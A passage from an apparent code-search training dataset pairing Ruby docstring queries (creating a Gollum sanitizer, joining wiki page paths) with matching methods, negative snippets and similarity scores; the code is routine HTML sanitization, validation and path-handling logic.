"0.49241832",
"0.49115512",
"0.4910222",
"0.49068874",
"0.4899083",
"0.48986888",
"0.48979643",
"0.48747873",
"0.48737293",
"0.48709998",
"0.48611426",
"0.48593488",
"0.48524392",
"0.48479918",
"0.48478594",
"0.48473966",
"0.48473662",
"0.48454344",
"0.48424518",
"0.48386905",
"0.48376083",
"0.48293647",
"0.48287696",
"0.48264563",
"0.48216385",
"0.48197252",
"0.48126155",
"0.4808869",
"0.48060465",
"0.48021844",
"0.47924933",
"0.47905177",
"0.47902557",
"0.4790019",
"0.47866437",
"0.47863168",
"0.4785907",
"0.47816414",
"0.47782865",
"0.477685",
"0.47756198",
"0.47733885",
"0.4773289",
"0.47527635",
"0.47459823",
"0.47416547",
"0.47410017",
"0.47391218",
"0.47385004",
"0.47355643"
] |
0.6144685
|
1
|
Public: Creates a Sanitize instance Returns a Sanitize instance.
|
def sanitizer
@sanitizer ||= Gollum::Sanitization.new(Gollum::Markup.to_xml_opts)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sanitization\n if @sanitization.nil?\n @sanitization = Sanitization.new\n end\n @sanitization\n end",
"def to_sanitize\n Sanitize.new(to_hash)\n end",
"def sanitizer\n if options = sanitization\n @sanitizer ||= options.to_sanitize\n end\n end",
"def cleaner\n @@config ||= begin\n {\n :elements => ::ActionView::Base.sanitized_allowed_tags.to_a,\n :attributes => { :all => ::ActionView::Base.sanitized_allowed_attributes.to_a},\n :protocols => { :all => ::ActionView::Base.sanitized_allowed_protocols.to_a }\n }\n rescue\n warn \"ActionView not available, falling back to Sanitize's BASIC config\"\n ::Sanitize::Config::BASIC\n end\n @sanitizer ||= ::Sanitize.new(@@config)\n end",
"def sanitize!\n return self if @sanitized\n each { |e|\n e.sanitized? || e.sanitize!\n }\n @sanitized = true\n return self\n end",
"def validate_and_sanitize\n validate\n end",
"def sanitize!; end",
"def initialize\n @html_sanitizer = HTML::FullSanitizer.new\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n success\n\n end",
"def sanitize!\n return self if @sanitized\n replace(HTMLEntities.new.encode(self))\n @sanitized = true\n return self\n end",
"def sanitizer(name, &block)\n raise TypeError, \"Block required\" unless block_given?\n sanitizers << define_method(\"sanitize_#{name}\", &block)\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n r = validate_and_sanitize_params\n return r unless r.success?\n\n success\n end",
"def sanitize(sanitize=true)\n self.query.sanitize = sanitize\n self\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n success\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = validate_parameters\n return r unless r.success?\n\n success\n end",
"def sanitize(options={})\n ActionController::Base.helpers.sanitize(self, options)\n end",
"def full_sanitizer=(_arg0); end",
"def full_sanitizer=(_arg0); end",
"def full_sanitizer=(_arg0); end",
"def sanitize\n self.summary = sanitize_string(summary)\n self.description = sanitize_string(description)\n self.post_install_message = sanitize_string(post_install_message)\n self.authors = authors.collect {|a| sanitize_string(a) }\n end",
"def sanitize(tainted)\n untainted = tainted\n \n untainted = rule1_sanitize(tainted)\n \n # Start - RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes\n # End - RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes\n \n # Start - RULE #3 - JavaScript Escape Before Inserting Untrusted Data into HTML JavaScript Data Values\n # End - RULE #3 - JavaScript Escape Before Inserting Untrusted Data into HTML JavaScript Data Values\n \n # Start - RULE #4 - CSS Escape Before Inserting Untrusted Data into HTML Style Property Values\n # End - RULE #4 - CSS Escape Before Inserting Untrusted Data into HTML Style Property Values\n \n untainted\n end",
"def sanitize\n self.repository ||= Repository.new\n self.owner ||= User.new\n self.request ||= Request.new\n self\n end",
"def validate_and_sanitize\n super\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n r = validate_client\n return r unless r.success?\n\n success\n\n end",
"def sanitize(str)\n return \"\" if !str\n return Sanitize.clean(str)\n end",
"def sanitize_attributes\n # Summary, content are sanitized with an HTML sanitizer, we want imgs etc to be present.\n # Other attributes are sanitized by stripping tags, they should be plain text.\n self.content = Sanitizer.sanitize_html self.content\n self.summary = Sanitizer.sanitize_html self.summary\n\n self.title = Sanitizer.sanitize_plaintext self.title\n self.author = Sanitizer.sanitize_plaintext self.author\n self.guid = Sanitizer.sanitize_plaintext self.guid\n self.url = Sanitizer.sanitize_plaintext self.url\n end",
"def sanitize_attributes\n if self.sanitize_level\n self.body = Sanitize.clean(self.body_raw, self.sanitize_level)\n self.title = Sanitize.clean(self.title, self.sanitize_level)\n else\n self.body = self.body_raw\n end\n end",
"def validate_and_sanitize\n r = super\n return r unless r.success?\n\n success\n end",
"def sanitize_as_html!\n Engine.clean!(self)\n end",
"def sanitize_as_html!\n Engine.clean!(self)\n end",
"def sanitize(str)\n DescriptionSanitizer.new.sanitize(str)\n end",
"def default_sanitize(code = nil)\n code and @default_sanitize = eval(code)\n @default_sanitize\n end",
"def sanitize(string, options = {})\n Engine.clean(string)\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = validate_email\n return r unless r.success?\n\n r = add_user_allowed?\n return r unless r.success?\n\n r = fetch_and_validate_user\n return r unless r.success?\n\n success\n end",
"def sanitize(s, level=:relaxed)\n Sanitize.clean(s, DC::Sanitizer::LEVELS[ level ] )\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n @name = @name.to_s.strip\n @symbol = @symbol.to_s.strip.upcase\n @stake_currency_symbol = @stake_currency_symbol.to_s.strip.upcase\n\n validation_errors = validate_token_creation_params\n\n if validation_errors.present?\n return validation_error(\n 'a_tm_itd_1',\n 'invalid_api_params',\n validation_errors,\n GlobalConstant::ErrorAction.default\n )\n end\n\n success\n\n end",
"def create\n @sanitize = @portfolio.sanitizes.build(sanitize_params)\n\n respond_to do |format|\n if @sanitize.save\n format.html { redirect_to @portfolio, notice: 'Sanitize was successfully created.' }\n format.json { render :show, status: :created, location: @sanitize }\n else\n format.html { render :new }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = validate_client_and_admin\n return r unless r.success?\n\n success\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = validate_client_and_admin\n return r unless r.success?\n\n success\n end",
"def sanitize_attributes\n if self.sanitize_level\n self.description = Sanitize.clean(self.description, self.sanitize_level)\n self.name = Sanitize.clean(self.name, self.sanitize_level)\n end\n end",
"def sanitize(value)\n case value\n when Regexp then value.source\n else Regexp.escape value\n end\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n r = fetch_and_validate_client\n return r unless r.success?\n\n r = fetch_and_validate_admin\n return r unless r.success?\n\n r = fetch_and_validate_webhook\n return r unless r.success?\n\n success\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n r = fetch_and_validate_client\n return r unless r.success?\n\n r = fetch_and_validate_admin\n return r unless r.success?\n\n r = fetch_and_validate_webhook\n return r unless r.success?\n\n success\n end",
"def validate_and_sanitize\n r = super\n return r unless r.success?\n\n r = validate_matches\n return r unless r.success?\n\n success\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = validate_client_and_admin\n return r unless r.success?\n\n r = validate_allowed_keys\n return r unless r.success?\n\n success\n end",
"def sanitize(context,input)\n safe = ''\n begin\n safe = antisamy(context,input)\n rescue Exception => e\n end\n safe\n end",
"def sanitize!(html, options = {})\n msclean!(html, options)\n end",
"def clean\n self.subject = sanitize self.subject\n end",
"def app_sanitize(html)\n sanitize(html, attributes: %w[style])\n end",
"def clean\n self.subject = sanitize subject\n end",
"def fixtured_instance( *args, &block )\n\t\tfixclass = self.fixtured_class or\n\t\t\traise ScriptError, \"%p doesn't declare its fixtured class!\" % [ self ]\n\n\t\tinstance = fixclass.new( *args, &block )\n\n\t\tif (( base_decorator = self.decorators[:_] ))\n\t\t\tself.log.debug \"Applying base decorator to %p\" % [ instance ]\n\t\t\tinstance.instance_exec( &base_decorator )\n\t\tend\n\n\t\treturn instance\n\tend",
"def create\n @sanitation = Sanitation.new(params[:sanitation])\n\n respond_to do |format|\n if @sanitation.save\n format.html { redirect_to @sanitation, notice: 'Sanitation was successfully created.' }\n format.json { render json: @sanitation, status: :created, location: @sanitation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sanitation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = fetch_and_validate_client\n return r unless r.success?\n\n r = fetch_and_validate_admin\n return r unless r.success?\n\n success\n end",
"def validate_and_sanitize\n\n # NOTE: To be on safe side, check for generic errors as well\n r = validate\n return r unless r.success?\n\n validation_errors = []\n\n validation_errors.push('invalid_is_super_admin') unless Util::CommonValidator.is_boolean_string?(@is_super_admin)\n\n return validation_error(\n 's_mm_sa_usar_1',\n 'invalid_api_params',\n validation_errors,\n GlobalConstant::ErrorAction.default\n ) if validation_errors.present?\n\n success\n\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n error_data = {}\n error_data[:first_name] = 'First Name is required.' if @first_name.blank?\n error_data[:last_name] = 'Last Name is required.' if @last_name.blank?\n error_data[:company_name] = 'Company / Project name is required.' if @company_name.blank?\n error_data[:email] = 'Please enter a valid email address' unless Util::CommonValidateAndSanitize.is_valid_email?(@email)\n error_data[:project_description] = 'Project Description is required.' if @project_description.blank?\n error_data[:project_description] = 'Project Description cannot be more than 2000 characters.' if @project_description.length > 2000\n\n return error_with_data(\n 'um_cupd_p_1',\n '',\n '',\n GlobalConstant::ErrorAction.default,\n {},\n error_data\n ) if error_data.present?\n\n success\n end",
"def sanitize(args = '')\n args\n end",
"def sanitize_data\n sanitize_permalink\n sanitize_name\n end",
"def sanitize_data\n sanitize_name\n sanitize_city\n sanitize_zip_code\n sanitize_address\n end",
"def sanitize_data\n sanitize_name\n sanitize_city\n sanitize_zip_code\n sanitize_address\n end",
"def sanitize_data(value)\n HtmlSanitizer.sanitize(value)\n end",
"def perform\n\n handle_errors_and_exceptions do\n\n r = validate_and_sanitize\n return r unless r.success?\n\n find_or_create_record\n\n end\n\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n @email = @email.downcase.strip\n\n unless Util::CommonValidator.is_valid_email?(@email)\n return validation_error(\n 'am_w_e_1',\n 'invalid_api_params',\n ['invalid_email'],\n GlobalConstant::ErrorAction.default\n )\n end\n\n success\n\n end",
"def sanitize(conditions, model)\n conditions # TODO: incomplete\n end",
"def sanitize_instructions\n self.instructions = Sanitize.fragment(self.instructions, Sanitize::Config::BASIC)\n end",
"def before_validation_on_create\n self.body = Post.create_clean_content(self.body_raw, self.text_filter) rescue return\n self.permalink = Post.to_permalink(self.permalink) if self.permalink and self.permalink != ''\n end",
"def sanitize\n scrub_payload_emails\n scrub_actor_attributes\n end",
"def sanitize(html, options = {})\n msclean(html, options)\n end",
"def validate_and_sanitize\n r = super\n return r unless r.success?\n\n @email = @email.to_s.downcase.strip\n @name = @name.to_s.downcase.strip\n\n return error_with_data(\n 'am_au_i_vas_1',\n 'Invite User Error',\n 'Please enter a valid email address',\n GlobalConstant::ErrorAction.default,\n {}\n ) if !Util::CommonValidateAndSanitize.is_valid_email?(@email)\n\n return error_with_data(\n 'am_au_i_vas_2',\n 'Invite User Error',\n 'Name cannot be blank',\n GlobalConstant::ErrorAction.default,\n {}\n ) if @name.blank?\n\n return error_with_data(\n 'am_au_i_vas_3',\n 'Invite User Error',\n 'Name can be of maximum 100 characters',\n GlobalConstant::ErrorAction.default,\n {}\n ) if @name.length > 100\n\n success\n end",
"def perform\n r = validate_and_sanitize\n return r unless r.success?\n\n fetch\n end",
"def create!(*args)\n instance = self.new(*args)\n instance.save!\n return instance\n end",
"def sanitize_inputs\n attributes.each do |attr_name, attr_value|\n next unless attr_value.is_a? String\n self[attr_name] = strip_markup attr_value\n end\n end",
"def sanitize\n return @conditions if @conditions\n merge_conditions(*(objects.collect { |object| object.sanitize } << {:any => any}))\n end",
"def sanitize(object) #:nodoc:\n quote_value(object)\n end",
"def clean(html)\n return unless html\n\n # Make a whitelist of acceptable elements and attributes.\n sanitize_options = {\n elements: %w{div span p a ul ol li h1 h2 h3 h4\n pre em sup table tbody thead tr td img code strong\n blockquote small br section aside},\n remove_contents: %w{script},\n attributes: {\n 'div' => %w{id class data-tralics-id data-number data-chapter},\n 'a' => %w{id class href target rel},\n 'span' => %w{id class style},\n 'ol' => %w{id class},\n 'ul' => %w{id class},\n 'li' => %w{id class},\n 'sup' => %w{id class},\n 'h1' => %w{id class},\n 'h2' => %w{id class},\n 'h3' => %w{id class},\n 'h4' => %w{id class},\n 'img' => %w{id class src alt},\n 'em' => %w{id class},\n 'code' => %w{id class},\n 'section' => %w{id class},\n 'aside' => %w{id class},\n 'blockquote' => %w{id class},\n 'br' => %w{id class},\n 'strong' => %w{id class},\n 'table' => %w{id class},\n 'tbody' => %w{id class},\n 'tr' => %w{id class},\n 'td' => %w{id class colspan}\n },\n css: {\n properties: %w{color height width}\n },\n protocols: {\n 'a' => {'href' => [:relative, 'http', 'https', 'mailto']},\n 'img' => {'src' => [:relative, 'http', 'https']}\n },\n output: :xhtml\n }\n\n Sanitize.clean(html.force_encoding(\"UTF-8\"), sanitize_options)\n end",
"def sanitization_whitelist\n whitelist = HTML::Pipeline::SanitizationFilter::WHITELIST\n whitelist[:attributes][:all].push('class', 'id')\n whitelist[:elements].push('span')\n\n fix_anchors = lambda do |env|\n name, node = env[:node_name], env[:node]\n if name == 'a'\n node.remove_attribute('rel')\n if node['href'] && node['href'].match('javascript:')\n node.remove_attribute('href')\n end\n end\n end\n\n whitelist[:transformers].push(fix_anchors)\n\n whitelist\n end",
"def validate_and_sanitize\n\n @email = @email.to_s.downcase.strip\n\n validation_errors = {}\n if !Util::CommonValidateAndSanitize.is_valid_email?(@email)\n validation_errors[:email] = 'Please enter a valid email address'\n end\n\n if @password.length < 8\n validation_errors[:password] = 'Password should be minimum 8 characters'\n end\n\n return error_with_data(\n 'um_su_1',\n 'Registration Error',\n '',\n GlobalConstant::ErrorAction.default,\n {},\n validation_errors\n ) if validation_errors.present?\n\n # NOTE: To be on safe side, check for generic errors as well\n r = validate\n return r unless r.success?\n\n success\n end",
"def sanitize(text)\n sanitized_text = text.dup\n\n # Strip URLs\n sanitized_text.gsub!(URL_REGEX, '')\n\n # Strip @mention style tokens\n sanitized_text.gsub!(MENTION_REGEX, '')\n\n sanitized_text\n end",
"def to_s\n sanitized.to_s\n end",
"def sanitize_content\n self.title = helpers.sanitize(self.title)\n self.user_name = helpers.sanitize(self.user_name)\n end",
"def sanitize!\n begin\n\n # Sanitize newly read Tags\n @@settings[:tag_fields].each do |tag_field|\n field = tag_field.to_s\n field_value = send(\"#{field}\")\n send(\"#{field}=\", ModelUtils::id3_sanitize(field_value))\n end\n\n # Rescue any exceptions\n rescue Exception => e\n log.error e\n end\n end",
"def sanitized?\n @sanitized || false\n end",
"def valid_sanitize(input_to_data, validator)\n lambda do |x|\n input = validator.call(x)\n input_to_data.call(input[1]) if input\n end\nend",
"def create(attrs = {})\n instance = self.new(attrs)\n instance.save\n instance\n end",
"def sanitize_attributes!\n remove_invalid_subjects!\n remove_invalid_audiences!\n remove_invalid_levels!\n set_prices!\n nil\n end",
"def create(*args)\n instance = self.new(*args)\n instance.save\n return instance\n end",
"def sanitize(text)\n text.gsub(@filter) { |gotcha| 'x' * gotcha.length }\n end",
"def sanitize(object)\n Place.new(object[:latitude], object[:longitude])\n end",
"def sanitize_user\r\n self.first_name = Sanitize.clean(self.first_name).gsub('&','&').gsub('>', '>') unless self.first_name.blank?\r\n end",
"def strip(s)\n Sanitize.clean(s)\n end",
"def sanitize(review)\n xss_filter(review)\n end",
"def safe_sanitize(html_fragment)\n html_fragment = \"\" if (html_fragment.nil?)\n Sanitize.fragment(html_fragment, Sanitize::Config::BASIC)\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n @client = CacheManagement::Client.new([@client_id]).fetch[@client_id]\n\n return validation_error(\n 'cm_sea_1',\n 'invalid_api_params',\n ['invalid_client_id'],\n GlobalConstant::ErrorAction.default\n ) if @client.blank?\n\n @client_address = ClientAddress.where(client_id: @client_id).last\n\n @hashed_eth_address = LocalCipher.get_sha_hashed_text(@eth_address)\n\n if @client_address.present?\n if @client_address.hashed_ethereum_address == @hashed_eth_address\n return success\n else\n return error_with_data(\n 'cm_sea_2',\n 'already_associated',\n GlobalConstant::ErrorAction.default\n )\n end\n end\n\n # sanitize\n #TODO: Do we need to convert this to checksum ETH Address\n @eth_address = @eth_address.to_s.strip\n\n r = ClientManagement::ValidateEthAddress.new(client_id: @client_id, eth_address: @eth_address).perform\n return r unless r.success?\n\n success\n\n end",
"def clean_html(html)\n Sanitize.clean(html) rescue html\n end",
"def sanitize_for_mass_assignment(attrs)\n return attrs\n end",
"def sanitize(attributes, authorizer)\n return attributes\n #sanitized_attributes = attributes.reject { |key, value| authorizer.deny?(key) }\n #debug_protected_attribute_removal(attributes, sanitized_attributes)\n #sanitized_attributes\n end",
"def __clean__!(object=self)\n format = DataCleaner::Formats.formats[object.class.name]\n \n format.attributes.each do |attribute, arguments|\n object.send(:\"#{attribute}=\", __replacement__(arguments, object))\n end\n object\n end",
"def assert_sanitizes(klass, *fields)\n options = fields.extract_options!\n sanitizer = Engine.method_for(fields)\n\n # Verify the callback works\n invalid = options[:invalid] || TestHelpers.invalid || '<b>ntani<br>'\n valid = options[:valid] || TestHelpers.valid || '<b>ntani<br /></b>'\n object = options[:object] || klass.new\n\n fields.each {|field| object.send(\"#{field}=\", invalid) }\n\n object.send sanitizer\n\n fields.each {|field| assert_equal(valid, object.send(field)) }\n end",
"def sanitize(value)\n ActiveRecord::Base.sanitize_sql(value)\n end",
"def sanitize_html\n self.data = self.class.clean_html(self.data) unless self.data.nil?\n end",
"def untaint!\n @tainted = false\n end"
] |
[
"0.6766314",
"0.6595113",
"0.63584226",
"0.62436336",
"0.57466245",
"0.5745006",
"0.57413834",
"0.5726023",
"0.56922114",
"0.55881053",
"0.55622596",
"0.55260146",
"0.5432649",
"0.53804314",
"0.5338153",
"0.52954715",
"0.5261283",
"0.5261283",
"0.5261283",
"0.5229848",
"0.52288276",
"0.518157",
"0.5178148",
"0.512042",
"0.51043135",
"0.5080373",
"0.5033916",
"0.49859974",
"0.49837378",
"0.49837378",
"0.49371743",
"0.49050868",
"0.49006155",
"0.4878536",
"0.4864769",
"0.48560587",
"0.48483324",
"0.48367456",
"0.48367456",
"0.47889048",
"0.47692373",
"0.47652188",
"0.47652188",
"0.47553605",
"0.47432768",
"0.47360995",
"0.47329348",
"0.47115082",
"0.47107616",
"0.46898797",
"0.46834186",
"0.46695808",
"0.46648273",
"0.46638113",
"0.46530128",
"0.46485895",
"0.46409187",
"0.46364492",
"0.46364492",
"0.46044177",
"0.45967722",
"0.45957667",
"0.45851946",
"0.45563903",
"0.45556605",
"0.45514843",
"0.45452186",
"0.45425606",
"0.45273834",
"0.4521278",
"0.45167863",
"0.45049825",
"0.44954133",
"0.44817626",
"0.447477",
"0.44640157",
"0.4459449",
"0.44400835",
"0.4413218",
"0.44018543",
"0.43935502",
"0.4380434",
"0.43752506",
"0.4371195",
"0.4349481",
"0.43368387",
"0.43358052",
"0.43320373",
"0.43046984",
"0.43004462",
"0.42930165",
"0.42808118",
"0.42622676",
"0.4259427",
"0.42526168",
"0.4246973",
"0.424668",
"0.42423734",
"0.42338285",
"0.42287382"
] |
0.58996975
|
4
|
Conjoins elements of a page or file path and prefixes the page_file_dir. Throws Gollum::IllegalDirectoryPath if page_file_dir is set, and the resulting path is not below it (e.g. if the dir or name contained '../') dir The String directory path name The String name of the Page or File format The Symbol format of the page. Should be nil for Files. Returns a String path. .
|
def merge_path_elements(dir, name, format)
result = ::File.join([@page_file_dir, dir, self.page_file_name(name, format)].compact)
result = Pathname.new(result).cleanpath.to_s
if @page_file_dir
raise Gollum::IllegalDirectoryPath unless result.start_with?("#{@page_file_dir}/")
result
else
result[0] == '/' ? result[1..-1] : result
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def format_directory(dir)\n format_dir = dir.strip\n format_dir = \"/#{format_dir}\" unless format_dir.start_with?('/')\n format_dir\nend",
"def transform_pages(dir = '')\n base = File.join(self.source, dir)\n entries = Dir.entries(base)\n entries = entries.reject { |e| ['.', '_'].include?(e[0..0]) }\n \n entries.each do |f|\n if File.directory?(File.join(base, f))\n transform_pages(File.join(dir, f))\n else\n first3 = File.open(File.join(self.source, dir, f)) { |fd| fd.read(3) }\n \n if first3 == \"---\"\n page = Page.new(self.source, dir, f)\n page.add_layout(self.layouts, site_payload)\n page.write(self.dest)\n else\n FileUtils.mkdir_p(File.join(self.dest, dir))\n FileUtils.cp(File.join(self.source, dir, f), File.join(self.dest, dir, f))\n end\n end\n end\n end",
"def finish_page_dir\n return unless @page_dir\n\n @files << @page_dir\n\n page_dir = Pathname(@page_dir)\n begin\n page_dir = page_dir.expand_path.relative_path_from @root\n rescue ArgumentError\n # On Windows, sometimes crosses different drive letters.\n page_dir = page_dir.expand_path\n end\n\n @page_dir = page_dir\n end",
"def path(name=nil)\n if name\n return @dir + '/' + name\n else\n return @dir\n end\n end",
"def join(basedir, dir)\n return \"#{basedir}#{dir[2..-1]}\" if windows? && !basedir.empty? && (dir.length > 2)\n\n \"#{basedir}#{dir}\"\n end",
"def fix_dir(dir)\n (dir.nil? || dir.empty?) && '/' || dir\n end",
"def join_files(base_dir, path)\n if(Pathname.new(path).relative?)\n File.join(base_dir, path)\n else\n path\n end\n end",
"def file_name(dir: T.unsafe(nil), name: T.unsafe(nil), ext: T.unsafe(nil), directory_separator: T.unsafe(nil)); end",
"def transform_pages(dir = '')\n base = File.join(self.source, dir)\n entries = Dir.entries(base)\n entries = entries.reject { |e| ['.', '_'].include?(e[0..0]) }\n\n entries.each do |f|\n if File.directory?(File.join(base, f))\n next if self.dest.sub(/\\/$/, '') == File.join(base, f)\n transform_pages(File.join(dir, f))\n else\n first3 = File.open(File.join(self.source, dir, f)) { |fd| fd.read(3) }\n \n # if the file appears to have a YAML header then process it as a page\n if first3 == \"---\"\n page = Page.new(self.source, dir, f)\n page.add_layout(self.layouts, site_payload)\n page.write(self.dest)\n # otherwise copy the file without transforming it\n else\n FileUtils.mkdir_p(File.join(self.dest, dir))\n FileUtils.cp(File.join(self.source, dir, f), File.join(self.dest, dir, f))\n end\n end\n end\n end",
"def calc_dir(page_base)\n page_full_path = File.join(GIT_REPO, unwiki(page_base))\n end",
"def directory(dir); end",
"def subdir(dir)\n dir = Pathname.new(dir) if dir.instance_of? String\n dir = Pathname.new('.') if dir.to_s =~ /\\.\\./ or dir.to_s =~ /^\\//\n dir = Pathname.new('.') if any_symlinks_in dir\n newdir = @path + dir\n Filesystem.new newdir\n end",
"def build_dir_path(dir_path)\r\n dir_builder = \"\"\r\n dir_path.split(\"/\").each { |dir|\r\n unless Dir.exists?(dir_builder + dir)\r\n Dir.mkdir(dir_builder + dir)\r\n end\r\n dir_builder += dir + \"/\"\r\n }\r\n end",
"def transform_pages(dir = '', source = self.source)\n base = File.join(source, dir)\n entries = filter_entries(Dir.entries(base))\n directories = entries.select { |e| File.directory?(File.join(base, e)) }\n files = entries.reject { |e| File.directory?(File.join(base, e)) }\n\n [directories, files].each do |entries|\n # we need to make sure to process _posts *first* otherwise they \n # might not be available yet to other templates as {{ site.posts }}\n if entries.include?('_posts')\n entries.delete('_posts')\n read_posts(dir)\n end\n entries.each do |f|\n if File.symlink?(File.join(base, f))\n # preserve symlinks\n FileUtils.mkdir_p(File.join(self.dest, dir))\n File.symlink(File.readlink(File.join(base, f)),\n File.join(self.dest, dir, f))\n elsif File.directory?(File.join(base, f))\n next if self.dest.sub(/\\/$/, '') == File.join(base, f)\n transform_pages(File.join(dir, f), source)\n else\n first3 = File.open(File.join(source, dir, f)) { |fd| fd.read(3) }\n \n # if the file appears to have a YAML header then process it as a page\n if first3 == \"---\"\n # file appears to have a YAML header so process it as a page\n page = Page.new(source, dir, f)\n page.add_layout(self.layouts, site_payload)\n page.write(self.dest)\n else\n # otherwise copy the file without transforming it\n FileUtils.mkdir_p(File.join(self.dest, dir))\n FileUtils.cp(File.join(source, dir, f), File.join(self.dest, dir, f))\n end\n end\n end\n end\n end",
"def transform_pages(dir = '')\n base = File.join(self.source, dir)\n entries = filter_entries(Dir.entries(base))\n directories = entries.select { |e| File.directory?(File.join(base, e)) }\n files = entries.reject { |e| File.directory?(File.join(base, e)) }\n\n # we need to make sure to process _posts *first* otherwise they\n # might not be available yet to other templates as {{ site.posts }}\n if directories.include?('_posts')\n directories.delete('_posts')\n render_posts(dir)\n end\n [directories, files].each do |entries|\n entries.each do |f|\n if File.directory?(File.join(base, f))\n next if self.dest.sub(/\\/$/, '') == File.join(base, f)\n transform_pages(File.join(dir, f))\n else\n first3 = File.open(File.join(self.source, dir, f)) { |fd| fd.read(3) }\n\n if first3 == \"---\"\n # file appears to have a YAML header so process it as a page\n page = Page.new(self.source, dir, f)\n\n section = zone_section(dir)\n payload = site_payload.deep_merge({\"zonal\" => section[\"zonal\"]})\n\n page.render(self.layouts, payload)\n page.write(self.dest)\n else\n # otherwise copy the file without transforming it\n FileUtils.mkdir_p(File.join(self.dest, dir))\n FileUtils.cp(File.join(self.source, dir, f), File.join(self.dest, dir, f))\n end\n end\n end\n end\n end",
"def encode_dir(path)\n path.gsub(\".hg/\",\".hg.hg/\").gsub(\".i/\",\".i.hg/\").gsub(\".d/\",\".d.hg/\")\n end",
"def parse_directory_format(fmt)\n dir = fmt.dup\n dir.scan(/<\\w*>/).each do |replacement|\n key = replacement.to_s.gsub(/(<|>)/, '')\n dir.sub!(/<\\w*>/, @spec[key])\n end\n return dir\n end",
"def transform_pages(dir = '')\n base = File.join(self.source, dir)\n entries = Dir.entries(base)\n entries = entries.reject { |e| e[-1..-1] == '~' }\n entries = entries.reject do |e|\n (e != '_posts') and ['.', '_'].include?(e[0..0])\n end\n\n # we need to make sure to process _posts *first* otherwise they \n # might not be available yet to other templates as {{ site.posts }}\n if entries.include?('_posts')\n entries.delete('_posts')\n read_posts(dir)\n end\n\n entries.each do |f|\n if File.directory?(File.join(base, f))\n next if self.dest.sub(/\\/$/, '') == File.join(base, f)\n transform_pages(File.join(dir, f))\n else\n first3 = File.open(File.join(self.source, dir, f)) { |fd| fd.read(3) }\n\n if first3 == \"---\"\n # file appears to have a YAML header so process it as a page\n page = Page.new(self.source, dir, f)\n page.render(self.layouts, site_payload)\n page.write(self.dest)\n else\n # otherwise copy the file without transforming it\n FileUtils.mkdir_p(File.join(self.dest, dir))\n FileUtils.cp(File.join(self.source, dir, f), File.join(self.dest, dir, f))\n end\n end\n end\n end",
"def dir_path(locale, category, section = nil, article = nil)\n # each resource has an id and name attribute\n # let's use this to build a path where we can store the actual data\n log(\" buidling dir_path for #{[locale, category, section, article].compact.map{|r| r['name']}}\", :verbose)\n [locale, category, section, article].compact.inject(\"./\") do |dir_path, resource|\n # check if we have existing folder that needs to be renamed\n path_to_append = output_type == :slugified ? \"#{resource['id']}-#{slugify(resource['name'])}\" : \"#{resource['id']}\"\n rename_dir_or_file_starting_with_id!(dir_path, resource['id'], path_to_append)\n # build path and check if folder exists\n log(\" #{path_to_append} appended to #{dir_path}\", :verbose)\n dir_path += path_to_append + \"/\"\n Dir.mkdir(dir_path) unless File.exists?(dir_path)\n # end point is begin point of next iteration\n dir_path\n end\n end",
"def ref_path(dir, subdir, path)\n # this stuff is overkill, and doesn't work anyways:\n #depth = dir.split(File::SEPARATOR).reject{ |d| d.empty? }.count\n #parent_dirs = Array.new(depth, '..')\n File.join('..', ContentRepo::ResourceNode::PATHNAME, path )\n end",
"def rewrite_path # :nodoc:\n if uri.path[0] != ?/\n prepend_path File.join('/', options[:dir].to_s)\n end\n end",
"def link_path\n File.join(\"/f/#{@page_name}\", name) # /foo/bar_files/file.jpg\n end",
"def path_for_url(dir, subdir, url)\n path = url.gsub(/^[|[:alpha:]]+:\\/\\//, '')\n path.gsub!(/^[.\\/]+/, '')\n path.gsub!(/[^-_.\\/[:alnum:]]/, '_')\n File.join(dir, subdir, path)\n end",
"def dir\n if url.end_with?(\"/\")\n url\n else\n url_dir = File.dirname(url)\n url_dir.end_with?(\"/\") ? url_dir : \"#{url_dir}/\"\n end\n end",
"def dir\n self.a_dir.join '/'\n end",
"def collect_path_string(dir_set)\n path = \"/\"\n dir_set.each { |dir| path += \"#{dir}/\" }\n path\n end",
"def query\n dir, _, file = @pattern.gsub(/[_\\-\\*]+/, '').rpartition '/'\n dir.gsub(%r{/(\\w{,2})[^/]+}, '\\1') + # map 2 chars per folder\n file.gsub(/\\.\\w+/, '') # remove extension\n end",
"def calc_attach_dir(page_base)\n page_full_path = File.join(GIT_REPO, unwiki(page_base)+ATTACH_DIR_SUFFIX)\n end",
"def page_file page_name\n file_name = File.basename(page_name).gsub('.', '_')\n\n File.join @path, File.dirname(page_name), \"page-#{file_name}.ri\"\n end",
